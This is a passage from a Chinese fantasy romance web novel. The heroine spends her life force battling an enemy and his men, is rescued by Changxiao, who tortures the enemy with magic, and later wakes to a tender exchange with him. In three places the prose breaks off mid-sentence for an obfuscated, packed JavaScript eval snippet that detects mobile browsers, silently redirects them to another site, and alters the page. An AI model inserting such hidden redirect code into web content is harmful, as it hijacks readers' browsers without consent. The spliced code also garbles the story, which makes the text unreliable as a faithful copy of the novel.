那被袭击之人定然逃无可逃,若是留活口的话,最终会被五花大绑,带回暗室里遭受无数极刑审问,最终,身上最后一点信息被榨干后,就口吐白沫而亡。 若是不留活口,目标就是杀死这人……那剧情必然会戛然而止,在这一册的末尾留个勾子,引着人去买下一册。然后,新书的上来第一句,就是“毫无意外,这人被杀死了”。 反正就是早死和晚死的区别。还有死法的区别。至于死这件事,是毫无悬念的。 这一刻,文落诗破天荒觉得,好像看话本看多了,也不怎么好。 连自己即将遭遇什么,都一清二楚。 像是早就知道了必然的结局。 呃……不过,看归影的表情,好像在说,除了这两种结局之外,还有第三种死法——被他玩够了再死。 文落诗咬了咬牙。 反正估计是命数到头了,今日多少得交代在这里。 那就干脆拼一把! 她默默念诀,启用了本源的魔功力量。 一般情况下,本源的力量是千万动不得的。这是生命的根本,也是阻挡死亡的最后屏障。不到生死一线、毫无生机之时,绝不会有人主动使用本源的力量。 修为越高,本源力量就越强。 但这股力量一旦使出,全部用尽之后,生命会就此枯竭。 一时间,文落诗顾不上想着这么多,只觉得身上被掏空的魔气重新被填满,身体周围也泛起灵动的粉光。 粉色渐渐转浓,浓到渐渐凝结成为红色。 浓至变色,是本源力量的象征。 院子周围数十道黑影和一旁群魔乱舞的小伙计见到此画面,都不由自主停下,朝他们主子望去,似乎在等一个指示。 文落诗本就强。本源的力量更是强。此刻她不要命了一般,直接用本源力量,这些人也说不好接下来的交战,谁胜谁负。 面对这样一个豁出去不要命的人,打还是不打? 归影颇为意外地看着文落诗:“你胆子不小啊,这么拼。” 文落诗利用这个间隙,用重新盈满全身的魔气稳定住心神,运功调整自身气息。同时,伴随着这道极为强劲的力量到来,方圆几里外的各处结界重新变得牢固至极、无坚不摧。 懒得搭理他。 归影见文落诗不答,再次嬉笑道:“行啊,骨头这么硬。你等着,回头有你骨头软的时候。到时候我亲自……” 话没说完,他被文落诗隔空用法力甩了个大嘴巴子。 归影似是很无奈,像看一个秋后垂死挣扎的蚂蚱一样看着文落诗,摇摇头,示意周围的所有人去打。 他想着,只要在文落诗本源力量耗尽之前稍微一出手,就能“救”下她。正好,不用费力了,那时候她修为也废了,剩下一口气,只能任由自己玩弄。 一道道黑影袭来,快如闪电,招式变化莫测,还要留意身下有人忽然扛着铁棍过来,补上一刀。 文落诗虽然动用了本源,但到底是筋疲力尽,几乎头晕目眩。 她甚至不知道自己接下来是怎么打的。 眼睛看不清楚,耳朵看不清楚,全身都是血,一切几乎全凭本能。 模糊的意识里,她的魔功失控,那种独属于魔的嗜杀本性尽显。她身上浓浓黑气滚滚涌出,与本应拥有的红烟交织在一起,凝聚成一个巨大的光球。 接下来,在泰然自若站着的归影、侧躺在地上的虚灵、以及所有人归影手下的人都还没反应过来之时,就见文落诗双眼变成满含杀气的红色,与此同时,那巨大的光球奔向院子正中,一瞬间炸裂开来。 万丈光芒射向四面八方,轰然一震炸裂的巨响,月影酒楼……塌了。 屋瓦、木椽、蜀柱、后院的围墙、甚至文落诗初来之时虚灵和归影坐的石桌石椅,尽数化为碎片。 那些碎片似有万斤之重,重重砸向在场的每一人。 归影反应快,连忙撑起结界抵挡,好巧不巧,虚灵正在躺在他脚跟处,也被意外被结界护了起来。 往日繁华的月影酒楼,在这声爆炸之见,化为齑粉。 那些没被结界护住的人,归影的所有护卫手下、月影酒楼的所有伙计、以及那个躲在暗处观战、曾偷偷给文落诗下毒的掌柜,在这场幻灭之中,尽数而亡。 不是被文落诗的法力所伤。 而是酒楼的碎片无差别地落入每个人的体内,使得他们在尚未来得及施法自保之时,身体就已经被无数空中掉落的碎片击穿身体各处,血肉模糊之间,鲜血迸溅而出,窒息而亡。 一时间,尸横遍野,血流成河。 也早已没了院子一说。 只剩下四周堆砌成山的粉末,和中间仅有的一处平地。 文落诗发红的眼睛渐渐黯淡下来,红光收起。 她知道,自己失控了。 连她都不清楚方才发生了什么,只觉得凭着本能,用出了露烟道的一种术法—— 炸了酒楼,同时灭掉了所有攻击她的敌人。 归影、虚灵除外。 最值得深思的是,并非她出手杀人。她的法力只够炸毁酒楼,而这些人全部是被酒楼的碎片杀死的。 文落诗望着四周的灰烬,神情木讷,一时间思绪中满是荒芜。 这些曾经为酒楼办事的肮脏事情的人,最终被这种肮脏的酒楼亲自杀死。 归影收了结界,目瞪口呆地看向文落诗,好像在无声地问,你不是没到融雪吗?就算动了本源,怎么会这么强? 文落诗此刻已经清醒,说不上来是因为全身的剧痛,还是法力消耗过度的回光返照。她朝归影灿然一笑,毫不在意自己的身体状态一样:“我毕竟是露烟的巅峰,距离融雪,不过半步之遥。” 归影也盯着文落诗,想向她走近,不料,身前有什么东西挡住了他。 ——是虚灵的身体。 归影在这场夷平酒楼的浩劫中活下来,靠得是自身修为本就高,反应能力快,给自己支撑了个结界,而虚灵……这个,就纯属走运了。 谁让他命好,正好倒在归影身边,碰巧被结界护起来了。 归影很是不屑,踢开他,向文落诗一步一步走来。 “这场仗可打得够久。我是真没想到,你这么不好对付。”归影面色诧异,“早知道我就不应该跟你硬碰硬,直接想办法毒死你算了。还免得折了主子派给我的人,回去不好交代。” 文落诗听闻,心中一惊。 这些护卫,并非归影的人,而是归影上面那个主子的人。 归影在给他做事。 那么,可以确定的是,归影联合虚灵栽赃长晓这件事,也是那人的授意。 而那个人,就是无时无刻不想杀长晓而后快的、长晓的最大政敌。 文落诗几乎脱口而出。 她确定了。 她知道是谁了。 也只有他,有这个本事,在政坛上搅动风云,与长晓抗衡,与魔宫抗衡,将整个魔界都染上他的气息,使得众生误以为他在护,在保,在佑。实则,他在骗,在诱,在利用,在企图用思想控制所有人。 至于他究竟想做什么……文落诗觉得,自己曾经在寒声城中随口一扯,怕是真的猜对了。 她误打误撞,窥探了这个政局中最大的秘密,也是最不为人知的事实。 有些惊讶,因为她才知道,原来当今政局中,他们竟然不合啊。 只不过…… 文落诗的心里空了一块。 因为,与此同时,她确定了长晓是谁。 或者说,他的另一层真实的身份。 以往她每每有所怀疑,她都下意识觉得不可能。后来,哪怕在诸多证据的晃眼下,和她的各种细致观察发现下,她都宁愿选择不去相信,强压着心里那份囚禁不住的探索欲,努力分散注意力,用了许多自我欺骗,不去想长晓是谁。 她甚至也不敢去想,自己为什么要害怕承认这个事实。 直到如今。 许是消耗太多,大难临头,将死之前。 她强压进脑海中的答案,终于再也压制不住,浮到了海面上,赤裸裸地展现在她面前。 她也明白了,自己为什么这么多天,宁愿自欺欺人,也不想承认这个事实。 ——因为,一旦承认,她就和长晓,再也没有可能了。 她明白了长晓为什么会想拉她入局。 她明白了长晓为什么要以“长晓”的身份在民间行走。 她明白了长晓为什么会日日忙碌,公文接连不断,黑眼圈日益加深,而世道却依旧不太平。 她也明白了,自己好像确实对长晓……有那么点心思。 害怕分离,患得患失,任由他对自己毫无分寸地搂搂抱抱,想每天多看看他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393143|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑脸,经常没事就欣赏那张冰蓝色的琴,和那个居然没被她养死、反而活得生机勃勃的石莲。 但是,她更有自己的原则。 好可惜啊。 他们之间的距离太大了,而她不想走上去——哪怕她恍惚间意识到,自己并非不能,也并非没有能力。 只是,她承担不起,高攀不起,消受不起。 或者说,不愿意。 算了。如今知道了,也别承认了。就当没有吧。 别给他增加负担,也让自己活得轻松一些。 文落诗想得出神,完全没意识到眼眶中已经饱含泪水。 归影见她被自己一句话说得莫名流泪,也愣了半晌。 “文姑娘,不好意思了。”归影收起了刚刚所有荒诞不经,此时神色严肃,大有一番权贵之人谈公事的模样,“如今的事态已经完全超过我的预想。事到如今,若不把你杀死,或者生擒回去交给主子,我没办法交代。” 文落诗思绪骤然回归,危险地看向眼前人。 归影继续正色道:“我知你法力所剩无几,而我本就是融雪之境,在你之上,方才又几乎没怎么动手,故而你应当清楚,此刻的你,根本不是我的对手。” 文落诗冷冷挑眉,口腔中含着血的味道:“那又如何。” 无尽夜色下,归影的眼眸变得十分可怕,像是一个巨大的漩涡,把人吸进去,然后绞杀。 “你和我想象中不太一样。事到如今,我确实佩服你能支撑到现在,所以我给你个机会,要么当场自裁,要么束手就擒。我不动手。” 文落诗的体力确实所剩无几,而她还在坚持撑着外面所有产业上的结界,哪怕面前的临渊石镜早已粉碎,看不到远处情况。 因此,她不介意多废话两句,让自己再缓一缓。 “原来你主子这么可怕啊,不然你怎么忽然改主意了呢?刚刚不是还对我有龌龊想法吗?” 她拿出了平日里浅笑盈盈的样子,说话也和和气气的。 归影默了一瞬,似乎当真在纠结这件事。许久,他叹口气道,眼神中再次漾起淫.色:“你都这么说了,那我不妨坚持一下。” 文落诗正在酝酿力量,就在这时,她忽然觉得身上一松。 整整一半的力量回到了她身体里。那是她誓死也不肯松手的、拿去在远处设置结界的、保护所有人普通人免于受伤的力量。 身体中血液涌出的速度逐渐变慢,不再是骇人的汹涌。 一瞬间,仿佛有什么新的力量从天而降,帮她牢牢护住了所有结界,让她从此彻底省下这份力。 可此刻,面前是强敌。她没时间细想,“唰”地一下抬眸,一道凌厉的眼神射杀过去。 “你既如此说,那我更没有就此认命之理了。” 她要跟归影拼到底。 一道红烟射出,直击归影的命门。 归影似是没想到她这么倔,都已经这样了,还要继续打,还是和他这个强者,用以卵击石的方式去打。 他缓缓抬起手,一道阴郁的蓝光涌起,正正对在那道红烟之上。 黑夜笼罩之下,周围又没有了建筑物的遮挡,这两道光芒对上,冲撞之处溅起层层星火,光焰散发开来,大有将刺眼光芒蔓延到全城皆知之势。 只不过红烟渐弱,一丝丝后退而去,怯生生的,整束光芒都在剧烈颤抖着。 文落诗紧紧咬着牙,燃烧着生命去支撑,知道一旦松手,自己就再无还击之力了。 窒息压抑的夜空下,红烟颤抖着,几乎没了光亮,重新退为粉色,眼看就要耗尽最后一丝力量。 文落诗也几乎绝望。 而就在此时,瞬息之间,万象将要彻底崩塌之际,一道极为熟悉的、浓到极致的蓝光从她身后袭来。 那道光太强,强到毫无压力地盖过了归影那道阴郁的蓝光,强到将天地万物刹那间照亮,强到由不得归影有丝毫反应或反击的机会,就劈头盖脸向归影砍去,砍得他招架不住,身体向后倾倒,大吼一声,摔倒在地。 文落诗只剩下最后一丝意识了,喉咙里呛着鲜血,四肢瘫软,连转身的力气都不再有。 恍惚之间,她向后倒去,靠上身后暖融融的胸膛。那只熟悉的手臂跨过来,将她紧紧搂住。 然后,无数新鲜的、救命的内力涌动着注入体内,填补着这副仅剩最后一道薄薄保护屏障的、已经残破不堪的身躯。 失去意识之前,文落诗脖子软下去,失重般扬起头,靠在了身后之人的颈间。 她最后在模糊中看到的,是一双熟悉的、炽热的、绝美的、曾令她心动过无数次的眼。 100. 一曲高歌动红绸(十九) “落诗,别睡。”长晓一路翻山倒海,迎着夜风赶来,口中呼出的气息发冷,身上也尽是寒气。而他怀中姑娘的身躯更加冰冷,宛若一团即将消散的冰云,摇摇欲坠,一碰即碎。 “醒一醒,别睡过去。” 她伤得太重,全身上下只剩最后半口气吊着,若是现在睡过去,恐怕再也醒不过来了。 长晓方才给了归影致命一击,后者现在还在地上倒着,暂时不用管。他根本顾不上其他,一颗心全都悬在文落诗身上,紧紧用目光锁着怀中之人惨淡的眉眼,生怕少一松神,就有什么意外突然发生。 他的手臂将她死死扣在怀里,把她包裹进来,让她身上冰寒到极致的死气渐渐退去。与其同时,他发了疯一样给她的体内传入内力,稳住她几乎就要全部碎裂的经络,和仅剩最后一丝心脉。 这么多年,他从未见过伤得如此严重之人。重重伤到身体的根本,若没有他这番修为之人立即施救,下一瞬就无力回天了。 他心中后怕,若是再晚来一步,就见不到她了。 再也见不到那张看上去冷冷清清、实则笑起来恬淡而美好的脸。 再也见不到那双写满故事的、带着星光和火焰的眸子。 而就在此刻,怀中之人微微动了一下,乌黑的睫毛颤动。 长晓身型一颤,深深低头,用柔软的衣袍和瀑布般的长发,将万顷夜色阻隔。文落诗的世界中只有他,寒风与冷月,皆被拒之千里之外。 文落诗当然知道不能睡。可她的意识太模糊了,根本无法控制,连何时闭上眼都不知道。而不知过了多久,她觉得体内有一股温暖的、轻柔的气息,在不断修补着已经残缺的脉络,将她从鬼门关狠狠拽回来。 挣扎着睁开眼时,她于黯然水雾中,再次望见了那双熟悉的眉眼。 “我来了,别怕。” 千言万语,化作这一句。 曾经第一次见面时,文落诗就觉得长晓身上的气息像雪。不是极寒极冽的冰雪煞气,也不是冷酷无情的寒天冻地,而是一种透着冰清玉洁气息的白雪,散发着氤氲的雾气,宣告着初春将至,细密而柔软,闲闲挂在枯枝上,甚至带了点疏懒的暖意。 像棉絮,像淡烟,却带着天生立于山巅的冷意,看似触手可及,实则不可高攀。 文落诗天生体寒严重,而长晓身上的温度也常年不热,只是与她相比,显得多了一抹热腾腾的人气。文落诗当时为了收集写作素材,曾仔细观察过长晓,他肤色冷白,神色偏冷淡,显得生人勿近,几乎与世隔绝,可真正相处起来,却让你立刻忘却了这种隔阂,宛若冰雪之下温柔盛放的花,含着不切实际的暖风。 不是话本里常见的那种冷。若是非要找一个词去形容,那或许甚至是“温柔”。 这样的人,看久了,她只想一步一步陷进茫茫白雪之中,冲昏头脑,再不复醒。 而此刻,在她身上遍布血痕,墨绿色的血迹在黑夜之下并不明显,却几乎晕染了她整袭红裙。她全身无力,各处筋骨断裂,痛苦至极,快要烂成一滩树下烂泥之时,那个记忆中沾满冰雪的身影,忽然出现在眼前,如同做梦一般,将狼狈至极的她狠狠搂入怀中。 极尽不真实。甚至有种玷污之感。 文落诗无力仰着头,只觉身体在拼尽全力汲取着他传来的内力,而那种失去掌控与意识的濒死感,也随之逐渐消失。 她哑着嗓音,吐出只剩下气息的声音: “商铺里那些人……” “一切安好,放心。” 文落诗彻底松下一口气。但她的意识还没完全恢复,看到的和听到的所有,都像是包裹一层厚重的雾气。她全身软得像一捧棉被,覆在长晓身上。而长晓只是把她搂得更紧,让她的体温逐渐恢复。 就这样,她眉眼微睁着,转头看向不远处的两个刚从地上爬起来的身影。 她几乎能感受到长晓骤然抬起染了雪的眼眸,压不住的怒气溢出,直指那二人。 长晓虽是怒极,但头脑是清醒的,他认识归影,而身旁那颤颤巍巍站起来的人,不用猜也知道,是虚灵。 本不欲多废话,掌中正蕴起光晕,忽然,怀中传来文落诗气若游丝的声音。 “别暴露你的实力,虚灵他不知道你……” 长晓低下头,给了她一个极尽安慰的眼神:“无妨,将死之人,看到也无所谓了。” 文落诗明显愣了一下,而就在这时,刚从地上爬起来的虚灵,忽然身体抽搐,重新倒地,环抱着身躯,痛苦地吼叫。 “你……” 长晓轻叹口气,甚是无奈。 虚灵的第一反应是看向长晓,嘴角紧抽,怒目圆瞪,急喘着气吼道:“你什么时候给我下的毒!” 长晓甩了他一个漠然的眼神,开口时冷淡至极:“你还不配。” 而一旁,归影“啧啧”两声,看向丑态百出、正在地上颤抖的虚灵,道:“怪我轻敌了,我算着无论怎样这时候也打完了,本想安排你一个在家中暴毙而亡,结果谁知道,竟能亲眼见证。” 虚灵颤抖的身躯顿住,“唰”地一下仰头盯住归影:“是你?!” 归影若无其事点点头,语气散淡:“你以为,知道了这么多,我还能放任你活着?” 虚灵一脸不可置信,一口黑血呛上来,再也说不出话。 归影打量着他,不介意再多说两句:“在你不知道的时候呀,我早就把毒下在你喝的酒里了。今日我特意把毒引带在身上,计算好时间。哎,谁想到打了这么久,失算了失算了。” 虚灵目眦欲裂,却再也说不出话,挣扎半晌,全身僵住,双眼于痛苦中失去所有光彩。 直到死,他都不愿意相信,依旧睁着眼睛。 长晓似是早就预料到,轻飘飘吐出两个字:“报应。” 归影欣赏完自己的“杰作”,朝长晓转过身,神色复杂,似乎在想,你怎么回来了呢? 而此刻,文落诗的状态基本上稳定住。她本欲抬手,长晓却按住她的胳膊,瞬间抬起双指,在她额头上施法。 蓝色细丝涌出,幻化勾勒成一朵花开的形状,渐渐没入文落诗的额头中。 “好了,睡吧。” 经过长晓不断的施救,文落诗已经彻底脱离的生命危险。此刻昏昏沉沉,就要晕过去,可她不敢,一直在强撑着清醒。 “他不是我的对手。这里交给我,放心。睡吧。” 长晓轻柔的话语传入耳畔,文落诗一颗心放下,终于重重将头窝进长晓的颈间,乌黑的睫毛落下。 确认文落诗已经听不到了,长晓才重新抬起头。 他的眼瞳黑不见底,以一种看死物的眼神,俯视着眼前的归影。 归影似是想不通,摇摇头:“从融雪到这里,就算拼了命地赶,也至少要一个多时辰,你是怎么得到消息赶回来的呢?” 文落诗不在,长晓再不需要收敛身上的威压,此刻,那种独属于上位者的气息涌出,带着压倒一切的强势,袭向四周。他冷冷一抬眼,让归影都由不得腿软。 许久,他一字一句道:“你敢动她?” 归影见他如此眼神,又看了眼他怀里紧紧抱着的文落诗,面色不解,有些诧异:“不对啊,她刚刚信誓旦旦和我说,她不是你女人啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400219|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长晓睫毛颤动一刹,没有回答,只是忽然抬起手,指尖一束强光射进归影的额头处。 紧接着,那股蓝光就像巨大的拉力,扯碎归影的任何防护,无顾他面色颤抖,将他的记忆强行抽出,然后将他的身躯重重甩向后方。 抽取记忆是极为残忍的术法,也是只有修为极高之人才能掌控的。 那一团记忆飘飘摇摇,来到长晓面前。长晓闭上眼,以最快速度阅览,得知了方才发生的一切,从他给文落诗去信开始,到他赶来之前,包括归影的每一丝想法、每一个表情、每一句话。 他越看,面色就越冷一分。 直到最后,冷得像山巅之上千年的积雪,万年的冰凌。 归影被强行抽走记忆,痛苦万分,倒在地上,似乎是认命了:“要杀要剐,你快点。” 不料长晓淡淡笑了一声,抬起手,轻飘飘使出一道蓝光。 既然文落诗看不到,那就不用留手了。 归影全身逐渐被蓝光包裹,缚在一个茧内,随之而来侵尽全身的,是长晓毕生学过的所有刑罚的术法。 这还是第一次在一个人身上用这么多。 以往这种事,他都交给手下专门掌刑的人去做,从来懒得亲自出手。 但是今天受伤的是文落诗。他会亲自来,且一丝都不会容忍。 蓝茧之内,归影的口被封住,再痛苦也发不出声音;他眼睛被迫睁开不能闭上,毫无躲藏地将自己遭遇的一切尽览。 修为尽废,骨骼全部化为粉末,直到折磨得他只剩一口气了,长晓忽然收了茧,让全身内外血肉模糊的归影掉出来。然后,对他身上施了一道术法,让他没办法晕过去,只能一直清醒着。 归影的眼神已经彻底碎裂,却还是流露出万分不解,好像在问,你不杀我? 长晓宽袖一甩,不再看他。 “回去找你主子,把发生的事情一字不漏地告诉他。” 随之,一道强光将归影卷入,直冲九重天的方向。 他不杀归影。他偏偏就要让归影回去,把这些天的所有事情,包括计谋的失败,包括如今的狼狈,统统告诉那人,以此警告对方。 不是想试探吗?那就摆明了告诉你。 想动文落诗?想都别想。 有他在,别想再伤她分毫。 而且,长晓很清楚,归影宁愿死在他手里,也不想这样被迫回去。因为,让归影死在那人手里,会比死在他手里要惨得多。 送走归影后,世间变得安静无比。 文落诗依旧趴在长晓怀里,面色松弛,像是睡熟了。 长晓没见过任何一个人留这么多血。方才见到文落诗的那一刻,他震惊,愤怒,心疼,万种情绪涌上来。 此刻她被救回来了。她还像往常一样柔软,软得像一团极轻的棉花。偶尔睫毛动一动,嘴巴微张,像是那团棉花悄悄抚过他心头,弄得他痒痒的,使他卸下所有防备。他只想将棉花揉一揉,然后按在身上,一寸都不许离开。 四周没人了。 那些方才倒下的护卫和酒楼伙计,均化作一道道黑烟,悄然升向天空,然后四散开来,再不复存在。没过多久,虚灵的身躯也开始涣散,黑烟慢慢融入了夜空中。 长晓默了好一会,似乎刚刚平静下来,收起从身体内四散出的肃杀气息。 随之,他念了个诀,把文落诗全身上下的经脉封住,再把她的法力封死。 夜色深沉,月影高照,一丝淡淡的红光落在她细软的鬓角。 长晓看了她许久,帮她把乱发拨开,然后将她打横抱起,去往扶桑楼的方向。 101. 一曲高歌动红绸(二十) 文落诗醒来之时,冬年已然将尽。 恍惚间睁开眼,她的意识仿佛脱离的身体,感觉不到肉.身的存在。全身软弱无力,慢慢地,她发现自己的法力被封死了。 而全身的筋骨都是新愈合的,让她有些不适应。不用说也知道,这种情况,她的身上应该耗了不少药材。 长晓推门走进来时,她正侧躺着,睁着大眼睛,淡然望向窗外。 “落诗?”长晓似是没想到她睁了眼睛。 “嗯,我醒了,但是全身没劲,就一直躺着了。” “我以为你还得要一段时间才能醒,”长晓毫不犹豫走到床边坐下,指骨自然地碰了碰她的额头,“嗯,不烧了。” 许是这动作太过于亲昵,文落诗呆呆看着他俯下的身躯,过了很久才干巴巴道:“我发烧了?” “药效而已。要坐起来吗?” 文落诗眨眨眼,点头。 长晓的手掌扶上她的后颈,另一掌轻轻垫着她的背。因为躺在床上,窝在被子里,她身上只剩下亵衣,那只手掌触碰到后背,牢牢覆在身上。文落诗的身体忽然恢复了感觉,哪怕隔着衣物,也几乎是立刻感受到滚烫的温度。 “我睡了多久?”她轻声问道。 “将近三个月。”长晓给她身后垫好枕头,又抚过她鼻尖上的发丝,“你伤得太重,我以为你得至少三个半月才能醒。” 这么久啊。 文落诗虚虚叹口气。她这辈子从来没有如此虚弱过,力不从心,事事要靠别人照顾。 “你是不是在我身上砸了好多名贵药材?我刚刚躺着,感受了不少气息,好像都是那种特别补的药材。” 长晓颔首,眼中尽是柔情,夹杂着一丝自责:“你能活过来,我已经很知足了。怪我,竟然让你去承受这么多。” 文落诗在醒来之后,认真回顾了当时的场景,此刻她有很多问题想问。 长晓看出她的眼神,便道:“想问什么?” “嗯……其他人呢?有没有伤亡?” “所有人安好。”长晓眼神中有一丝复杂,“我是真没想到,你为了护所有人,竟然把结界和自己的命相连。我当时赶到扶桑楼,看到结界气息这么弱,就暗道不好。” 文落诗听到最后一句,眉宇轻轻上挑:“我没想到你能赶回来。” 长晓眼神黯淡下来,染上些许歉意,语气淡淡,也带着苛责:“我不回来,你就不要命了啊?” “……” 她当时还真做好准备了。但是这话,她不敢说。 “我还没到融雪,中途就觉得不对劲,意识到恐中了计,于是半刻没犹豫就立即返回,谁知路上还真接到了何掌柜的传信。” 闻此言,文落诗了然。她就说嘛,从融雪城下至赤缇城,中间隔了整整六重天,怎么说也得一个多时辰,而哪怕长晓当场得到消息往回赶,这一个多时辰内,也足够归影解决掉她了。 她叹了口气:“我是不是又耽误你了?” 长晓一愣,似是完全没想到:“怎么会这么说?” “我要是不在你身边,也不会惹出这么多事情,你对付他们绰绰有余,也不会因为我耽误你回融雪去……” 她越说声音越小,因为长晓在目不转睛地看着她。他眼眸漆黑一片,深不见底,而平静的表面下暗波涌动,风卷残云,仿佛压抑着无数情绪。 而这一双透露着危险的眼眸,离她越来越近,似乎要把她吸进去。 与此同时,逐渐贴近的,还有那股熟悉的宛如细雪的气息,和那两瓣色泽饱满的唇。 文落诗明晃晃感到心下一空,她的薄唇也动了动,急忙把所有想说的都咽下去,只剩下一双强撑着睁开的眼。 而长晓就这样近地看了她许久,眼神中流淌过许多波澜。 最终,他像是强忍着什么,把头一偏,那两瓣水润的唇转移到她耳垂旁,呼出温热的气。 “从今以后,任何一刻,不许再这么想。” 不知道是不是文落诗的错觉。她的思绪完全停留在涌入耳畔的这句话中,还没回过神来,就觉得自己的耳垂被什么柔软的东西轻轻碰了一下。 紧接着,只听他继续在耳畔低低道:“你很好,哪里都很好。不仅自己好,还在对周围所有人都好。你不会耽误任何人。” 他的胸膛在她身前,几乎就要贴上。 文落诗从没有距离一个男人这么近过。长晓的整个身躯都倾在她身上,把她深深包围。 她脑子全乱了,束手无策,只得顺势微微仰头,把下巴搭在他的肩头上。她身上的衣裳太薄了,很快便感受到了胸前的温度。 许久,她咬了咬下唇:“我知道。我只是害怕给你添麻烦。” “怎么会,”耳畔传来又一阵酥麻,“倒是我,给你添了个大麻烦,差点害你丢了性命。” 文落诗听出这声音中的愧疚,连忙道:“没有……” “那我跟你理理清楚?归影要对付的是我,虚灵要诬陷的也是我,本来就是我一个人的事情,把你牵扯进来,我已经很抱歉了,而他们竟然因为我要对你出手,你竟然还为了保护我手下的人而耗上自己的性命……我都不知道该说你什么好。” 文落诗觉得,这个话题不能再继续了。他们两个,真是越来越纠缠不清。 “不许再有下次,知道了吗?”耳畔的这句叮嘱很轻很轻。 “那我能怎么办?你手下这么多人的命,我总不能袖手旁观、坐视不管吧?” “不会再发生这种事,”耳畔的声音低沉下去,笃定道,“哪怕真的再有,守在楼里,不能一个人往外闯。” “那万一……” “扶桑楼有阵法。开启之后,谁都别想攻进来。至于其他商铺,在我手里办事的人,没一个是吃素的,若是连自保的能力都没有,我也不会留他。” 文落诗沉默一瞬。虽然她已经知道长晓是谁,但听他亲口说出这些气势磅礴的话,心里还是会不由自主涌上一股热流。 而这个人,此刻离她如此之近,近到她快陷进去,沉溺其中,抛下所有条条框框,去离这颗不属于自己的心脏更近一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410707|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约两个人都心知肚明,可是出于同样的默契,都选择没有挑明。 好像依旧在维持着一种平衡,一种得之不易的短暂的安稳。 “你茶楼里当时有个小伙计被绑了,给扶桑楼传信,我去的时候,整个茶楼里所有人都被打晕了。” 长晓的双唇依旧没离开她耳畔,似是很贪恋这种极近的距离:“知道。罚过了。” 似是感受到怀里的姑娘瞬间睁大眼,他不得不解释道:“被打一下就能晕,说出去都丢人。我没把他赶出去就算客气了。” 文落诗到此,终于明白为什么长晓手下的人能力都这么强。 他平常对手下的人都极好,但真是犯了过错,也不会手软。他有一套很强的赏罚体系,御人有方。 “总之,你不许再做这种不要命的事。” 他的语气像是命令,冷而淡,不容置喙。 “知道啦,”文落诗撇嘴,经此一事,她算是死过一回的人,自然变得更加惜命了,“早知道不跟你说这些了,免得听你一通数落。我只是觉得,这次事情说好了全盘交给我,结果到最后,反倒需要你火急火燎赶回来护我,有点难受。我不喜欢被别人护着,有点丢人。” 长晓终于不再倾身,缓慢抬起头,眼神漆黑如深夜:“不丢人。人无完人,遇见比自己强大的人是很正常的。任何人都不可能超过所有人,我也一样。何况归影比你大了两千多岁,他和你硬碰硬,本身就是他欺负你,他有病。” 文落诗听到长晓这么一本正经说出这话,“扑哧”一下笑出来:“我怎么之前没发现,你这么可爱呢?” 长晓盯着她,唇再次轻启:“这次不管怎么说,我都应该护着你。你平时太要强了,我都没机会。” “但是……” “你之前还说了不许我动手呢,我都没说什么,怎么换作我保护你就不行了?” 文落诗无言以对,许久,道:“算了,扯平。不说这事了。” 长晓淡淡一笑。 文落诗咬着嘴唇,与他的鼻尖几乎碰上,看了他许久,直到眼神有些涣散,她实在快要招架不住了,虚虚道:“你能不能先起来,你离我太近了……” 长晓眼睫微动,嘴角上扬:“好啊,你抱了这么久,倒是先把我松开。” 文落诗心中猛地一惊,这才意识到,不知何时,她的双臂已是再自然不过地盘在长晓腰上,紧紧搂着,一时半刻没有松开的意思。 天啊。 文落诗脑子里只有一个念头:他没抱自己,倒是自己反而先抱住他了! 她脖子往后一缩,急忙收回手,哪怕极力控制好面色,眼神里仍是余留了不少窘迫。 完了,没救了。 抱住他几乎全凭本能,她根本不知道何时伸出的双手。 长晓欣赏了许久她的模样,像是极为满意,笑容满面,如沐春风。而两个人就这么坐着,一个低着头,一个看着对方,很久没说话。 忽然想到什么,他眉目一动,开口:“你也不问问,那天晕过去之后,你是怎么回来的?” 102. 一曲高歌动红绸(二十一) “你也不问问,那天晕过去之后,你是怎么回来的?” 文落诗听闻,一脸淡然,公事公办地回答道:“你把我抱回来的呗。” 长晓愣住,似是没想到她这么直接:“你怎么知道?” “我猜的,”文落诗掀起双眼,颇为无语,“你这个人什么德行,我又不是不知道。之前占过我无数次便宜了,每天看到我都一副大登徒子的模样,这回我就倒在你怀里,你怎么可能放过这么好的机会。” 说罢,文落诗给了他一个白眼,补充道:“总不可能是像咱俩刚见面的时候,用移动术吧?” 长晓被她这话气笑了:“恩将仇报。” 文落诗懒得搭理他。但实则,她心中别提多高兴,上扬的嘴角也根本压不住,表情很是不自然。 长晓看着她扬起又用力使劲压下的嘴角,一时心中暖意涌起。 